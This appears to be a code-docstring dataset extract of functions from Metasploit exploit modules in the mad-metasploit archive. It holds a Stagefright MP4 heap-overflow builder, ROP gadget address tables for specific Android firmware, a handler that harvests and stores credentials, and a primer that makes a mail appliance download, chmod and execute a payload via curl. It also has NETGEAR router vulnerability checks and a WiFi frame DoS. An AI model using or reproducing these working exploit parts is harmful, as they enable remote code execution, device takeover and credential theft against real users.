# Coerce the heap into a favorable shape (fill holes)
shape_vector = get_pssh(vector_alloc_size)
# Allocate a block of memory of the correct size
placeholder = get_atom('titl', ('t' * 4) + ('titl' * (vector_alloc_size / 4)) + [ 0 ].pack('C'))
# Make the first tx3g chunk, which is meant to overflow into a MetaData array.
# We account for the overhead of both chunks here and aim for this layout:
#
# placeholder after re-allocation | vector array data
# <len><tag><padding><is-64bit><tag><len hi><len low> | <overflow data>
#
# Realistically, tx3g1_padding can be any number that rounds up to the
# correct size class.
tx3g1_overhead = 0x8
tx3g2_overhead = 0x10
tx3g_target = jemalloc_round(vector_alloc_size)
tx3g1_padding = tx3g_target - (tx3g1_overhead + tx3g2_overhead)
tx3g_data = 'x' * tx3g1_padding
tx3g_1 = get_atom('tx3g', tx3g_data)
# NOTE: hvcC added in 3b5a6b9fa6c6825a1d0b441429e2bb365b259827 (5.0.0 and later only)
# avcC was in the initial commit.
near_sampiter = get_atom('hvcC', "C" * sampiter_alloc_size)
# Craft the data that will overwrite the header and part of the MetaData
# array...
more_data = ''
more_data << [ 9, vector_alloc_size - 0x10, 0, 0 ].pack('V*')
# Now add the thing(s) we want to control (partially)
#
# We add some BS entries just to kill the real 'heig' and get proper
# ordering...
near_sampiter_addr = peer[:near_sampiter_addr]
if near_sampiter_addr.nil?
# Part 1. Leak the address of a chunk that should be adjacent to a
# SampleIterator object.
if is_samsung
# On Samsung:
# Before: dmcE, dura, frmR, heig, hvcC, inpS, lang, mime, widt
# After: dmcE, abc1, abc2, abc3, heig...
more_data << get_metaitem('dmcE', 'in32', 1)
more_data << get_metaitem('abc1', 'in32', 31335)
more_data << get_metaitem('abc2', 'in32', 31336)
end
# On Nexus:
# Before: heig, hvcc, inpS, mime, text, widt
# After: abc3, heig...
more_data << get_metaitem('abc3', 'in32', 31337)
# NOTE: We only use the first 12 bytes so that we don't overwrite the
# pointer that is already there!
heig = get_metaitem('heig', 'in32', 31338)
more_data << heig[0,12]
else
# Part 2. Read from the specified address, as with the original Metaphor
# exploit.
if is_samsung
# On Samsung:
# Before: dmcE, dura, frmR, heig, hvcC, inpS, lang, mime, widt
# After: dmcE, dura, ...
more_data << get_metaitem('dmcE', 'in32', 1)
else
# On Nexus:
# Before: avcc, heig, inpS, mime, text, widt
# After: dura, ...
near_sampiter = get_atom('avcC', "C" * sampiter_alloc_size)
end
# Try to read the mCurrentChunkSampleSizes vtable ptr within a
# SampleIterator object. This only works because the Vector is empty thus
# passing the restrictions imposed by the duration conversion.
ptr_to_vector_vtable = near_sampiter_addr - (sampiter_rounded * 2) + 0x30
more_data << get_metaitem('dura', 'in64', ptr_to_vector_vtable)
end
# The tx3g2 then needs to trigger the integer overflow, but can contain any
# contents. The overflow will terminate at the end of the file.
#
# NOTE: The second tx3g chunk's overhead ends up in the slack space between
# the replaced placeholder and the MetaData Vector contents.
big_num = 0x1ffffffff - tx3g_1.length + 1 + vector_alloc_size
tx3g_2 = get_atom('tx3g', more_data, big_num)
# Create a minimal, verified 'trak' to satisfy mLastTrack being set
stbl_data = get_stsc(1)
stbl_data << get_atom('stco', [ 0, 0 ].pack('N*')) # version, mNumChunkOffsets
stbl_data << get_atom('stsz', [ 0, 0, 0 ].pack('N*')) # version, mDefaultSampleSize, mNumSampleSizes
stbl_data << get_atom('stts', [ 0, 0 ].pack('N*')) # version, mTimeToSampleCount
stbl = get_atom('stbl', stbl_data)
verified_trak = get_atom('trak', stbl)
# Start putting it all together into a track.
trak_data = ''
if is_samsung
# Put some legitimate duration information so we know if we failed
mdhd_data = [ 0 ].pack('N') # version
mdhd_data << "\x00" * 8 # padding
mdhd_data << [ 1 ].pack('N') # timescale
mdhd_data << [ 314 ].pack('N') # duration
mdhd_data << [ 0 ].pack('n') # lang
trak_data << get_atom('mdhd', mdhd_data)
end
# Add this so that our file is identified as video/mp4
mp4v_data = ''
mp4v_data << [ 0 ].pack('C') * 24 # padding
mp4v_data << [ 1024 ].pack('n') # width
mp4v_data << [ 768 ].pack('n') # height
mp4v_data << [ 0 ].pack('C') * (78 - mp4v_data.length) # padding
trak_data << get_atom('mp4v', mp4v_data) # satisfy hasVideo = true
# Here, we cause allocations such that we can replace the placeholder...
if is_samsung
trak_data << placeholder # Somethign we can free
trak_data << shape_vector # Eat the loose block...
trak_data << stbl # Cause the growth of the track->meta Vector
else
trak_data << stbl # Cause the growth of the track->meta Vector
trak_data << placeholder # Somethign we can free
trak_data << shape_vector # Eat the loose block...
end
# Add the thing whose entry in the MetaData vector we want to overwrite...
trak_data << near_sampiter
# Get our overflow data into memory
trigger = ''
trigger << tx3g_1
# Free the place holder
trigger << get_atom('titl', ('t' * 4) + ('BBBB' * vector_alloc_size) + [ 0 ].pack('C'))
# Overflow the temporary buffer into the following MetaData array
trigger << tx3g_2
# !!! NOTE !!!
# On Samsung devices, the failure that causes ERR to be returned from
# 'tx3g' processing leads to "skipTrack" being set. This means our
# nasty track and it's metadata get deleted and not returned to the
# browser -- effectively killing the infoleak.
#
# However! It also handles "skipTrack" being set specially and does not
# immediately propagate the error to the caller. Instead, it returns OK.
# This allows us to triggering the bug multiple times in one file, or --
# as we have in this case -- survive after and return successfully.
if is_samsung
# Add this as a nested track!
trak_data << get_atom('trak', trigger)
else
trak_data << trigger
end
trak = get_atom('trak', trak_data)
# On Samsung devices, we could put more chunks here but they will
# end up smashing the temporary buffer further...
chunks = []
chunks << get_ftyp()
chunks << get_atom('moov')
chunks << verified_trak * 0x200
chunks << shape_vector * groom_count
chunks << trak
mp4 = chunks.join
mp4
end
|
Leak data from mediaserver back to the browser!
Stage 1 - leak a heap pointer near a SampleIterator object
Stage 2 - read a code pointer from the SampleIterator object
|
get_mp4_leak
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/android/remote/40436.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/android/remote/40436.rb
|
MIT
|
def get_details(my_target)
details = {
'lrx' => {
'VectorRVA' => 0x10ae30,
'PivotStrategy' => 'lrx',
'Pivot1' => 0x67f7b, # ldr r4, [r0] ; ldr r1, [r4, #0x10] ; blx r1
'Pivot2' => 0xaf9dd, # ldm.w r4, {sp} ; pop {r3, pc}
'Adjust' => 0x475cd # pop {r3, r4, pc}
},
'lmy-1' => {
'VectorRVA' => 0x10bd58,
'PivotStrategy' => 'lmy-1',
'Pivot1' => 0x68783, # ldr r4, [r0] ; ldr r1, [r4, #0x10] ; blx r1
'Pivot2' => 0x81959, # ldm.w r4, {r1, ip, sp, pc}
'Adjust' => 0x479b1 # pop {r3, r4, pc}
},
'lmy-2' => {
'VectorRVA' => 0x10bd58,
'PivotStrategy' => 'lmy-2',
'Pivot1' => 0x6f093, # ldr r0, [r0, #0x10] ; ldr r3, [r0] ; ldr r1, [r3, #0x18] ; blx r1
'Pivot2' => 0x81921, # ldm.w r0!, {r1, ip, sp, pc}
'Adjust' => 0x479b1 # pop {r3, r4, pc}
},
'shamu / LYZ28E' => {
'VectorRVA' => 0x116d58,
'PivotStrategy' => 'lyz',
'Pivot1' => 0x91e91, # ldr r0, [r0] ; ldr r6, [r0] ; ldr r3, [r6] ; blx r3
'Pivot2' => 0x72951, # ldm.w r0, {r0, r2, r3, r4, r6, r7, r8, sl, fp, sp, lr, pc}
'Adjust' => 0x44f81 # pop {r3, r4, pc}
},
'shamu / LYZ28J' => {
'VectorRVA' => 0x116d58,
'PivotStrategy' => 'lyz',
'Pivot1' => 0x91e49, # ldr r0, [r0] ; ldr r6, [r0] ; ldr r3, [r6] ; blx r3
'Pivot2' => 0x72951, # ldm.w r0, {r0, r2, r3, r4, r6, r7, r8, sl, fp, sp, lr, pc}
'Adjust' => 0x44f81 # pop {r3, r4, pc}
},
'sm-g900v / OE1' => {
'VectorRVA' => 0x174048,
'PivotStrategy' => 'sm-g900v',
'Pivot1' => 0x89f83, # ldr r4, [r0] ; ldr r5, [r4, #0x20] ; blx r5
'Pivot2' => 0xb813f, # ldm.w r4!, {r5, r7, r8, fp, sp, lr} ; cbz r0, #0xb8158 ; ldr r1, [r0] ; ldr r2, [r1, #4] ; blx r2
'Adjust' => 0x65421 # pop {r4, r5, pc}
}
}
details[my_target['Rop']]
end
|
Return some firmware-specific values to the caller.
The VectorRVA field is extracted using the following command:
$ arm-eabi-readelf -a libstagefright.so | grep _ZTVN7android6VectorIjEE
|
get_details
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/android/remote/40436.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/android/remote/40436.rb
|
MIT
|
def collect_data(request)
cred = JSON.parse(request.body)
u = cred['user']
p = cred['pass']
if u.blank? || p.blank?
print_good("#{cli.peerhost}: POST data received from #{datastore['TARGET_URL']}: #{request.body}")
else
print_good("#{cli.peerhost}: Collected credential for '#{datastore['TARGET_URL']}' #{u}:#{p}")
store_cred(u,p)
end
end
|
This assumes the default schema is being used.
If it's not that, it'll just display the collected POST data.
|
collect_data
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/android/remote/43376.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/android/remote/43376.rb
|
MIT
|
def primer
vprint_status('Primer hook called, make the server get and run exploit')
#Gets the autogenerated uri from the mixin
payload_uri = get_uri
filename = rand_text_alpha_lower(8)
print_status("Sending download request for #{payload_uri}")
download_cmd = "/usr/local/sbin/curl -k #{payload_uri} -o /tmp/#{filename}"
vprint_status("Telling appliance to run #{download_cmd}")
send_cmd_exec('/ADMIN/mailqueue.spl', download_cmd)
register_file_for_cleanup("/tmp/#{filename}")
chmod_cmd = "chmod +x /tmp/#{filename}"
vprint_status('Chmoding the payload...')
send_cmd_exec("/ADMIN/mailqueue.spl", chmod_cmd)
exec_cmd = "/tmp/#{filename}"
vprint_status('Running the payload...')
send_cmd_exec('/ADMIN/mailqueue.spl', exec_cmd, false)
vprint_status('Finished primer hook, raising Timeout::Error manually')
raise(Timeout::Error)
end
|
Make the server download the payload and run it
|
primer
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/bsd/remote/38346.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/bsd/remote/38346.rb
|
MIT
|
def on_request_uri(cli, request)
vprint_status("on_request_uri called: #{request.inspect}")
print_status('Sending the payload to the server...')
@elf_sent = true
send_response(cli, @pl)
end
|
Handle incoming requests from the server
|
on_request_uri
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/bsd/remote/38346.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/bsd/remote/38346.rb
|
MIT
|
def check
res = send_request_cgi({'uri'=>'/'})
if res.nil?
fail_with(Failure::Unreachable, 'Connection timed out.')
end
# Checks for the `WWW-Authenticate` header in the response
if res.headers["WWW-Authenticate"]
data = res.to_s
marker_one = "Basic realm=\"NETGEAR "
marker_two = "\""
model = scrape(data, marker_one, marker_two)
vprint_status("Router is a NETGEAR router (#{model})")
if model == 'R7000' || model == 'R6400'
print_good("Router may be vulnerable (NETGEAR #{model})")
return CheckCode::Detected
else
return CheckCode::Safe
end
else
print_error('Router is not a NETGEAR router')
return CheckCode::Safe
end
end
|
Requests the login page which discloses the hardware, if it's an R7000 or R6400, return Detected
|
check
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/cgi/remote/41598.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/cgi/remote/41598.rb
|
MIT
|
def on_request_uri(cli, request)
if @cmdstager
send_response(cli, @cmdstager)
@cmdstager = nil
else
super
end
end
|
Return CmdStager on first request, payload on second
|
on_request_uri
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/cgi/remote/41598.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/cgi/remote/41598.rb
|
MIT
|
def check
res = send_request_cgi({'uri'=>'/'})
if res.nil?
fail_with(Failure::Unreachable, 'Connection timed out.')
end
# Checks for the `WWW-Authenticate` header in the response
if res.headers["WWW-Authenticate"]
data = res.to_s
marker_one = "Basic realm=\"NETGEAR "
marker_two = "\""
model = data[/#{marker_one}(.*?)#{marker_two}/m, 1]
vprint_status("Router is a NETGEAR router (#{model})")
model_numbers = ['DGN2200v1', 'DGN2200v2', 'DGN2200v3', 'DGN2200v4']
if model_numbers.include?(model)
print_good("Router may be vulnerable (NETGEAR #{model})")
return CheckCode::Detected
else
return CheckCode::Safe
end
else
print_error('Router is not a NETGEAR router')
return CheckCode::Safe
end
end
|
Requests the login page which tells us the hardware version
|
check
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/cgi/remote/42257.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/cgi/remote/42257.rb
|
MIT
|
def run
open_wifi
cnt = datastore['COUNT'].to_i
print_status("Creating malicious probe response frame...")
frame = create_frame()
print_status("Sending #{cnt} frames...")
0.upto(cnt) { |i| wifi.write(frame) }
end
|
This bug is easiest to trigger when the card has been placed into active scan mode:
$ /System/Library/PrivateFrameworks/Apple80211.framework/Versions/A/Resources/airport -s -r 10000
|
run
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/hardware/dos/2700.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/hardware/dos/2700.rb
|
MIT
|
def ie_padding(data)
ret = 0
idx = 0
len = 0
while(idx < data.length)
len = data[idx+1]
if (! len)
data << "\x00"
len = 0
end
idx += len + 2
end
data << yield(idx - data.length)
end
|
Convert arbitrary data into a series of information elements
|
ie_padding
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/hardware/remote/16388.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/hardware/remote/16388.rb
|
MIT
|
def on_request_uri(cli, request)
#print_status("on_request_uri called: #{request.inspect}")
if (not @pl)
print_error("#{rhost}:#{rport} - A request came in, but the payload wasn't ready yet!")
return
end
print_status("#{rhost}:#{rport} - Sending the payload to the server...")
@elf_sent = true
send_response(cli, @pl)
end
|
Handle incoming requests from the server
|
on_request_uri
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/hardware/remote/24931.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/hardware/remote/24931.rb
|
MIT
|
def wait_linux_payload
print_status("#{rhost}:#{rport} - Waiting for the victim to request the ELF payload...")
waited = 0
while (not @elf_sent)
select(nil, nil, nil, 1)
waited += 1
if (waited > datastore['HTTP_DELAY'])
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Target didn't request request the ELF payload -- Maybe it cant connect back to us?")
end
end
end
|
wait for the data to be sent
|
wait_linux_payload
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/hardware/remote/24931.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/hardware/remote/24931.rb
|
MIT
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.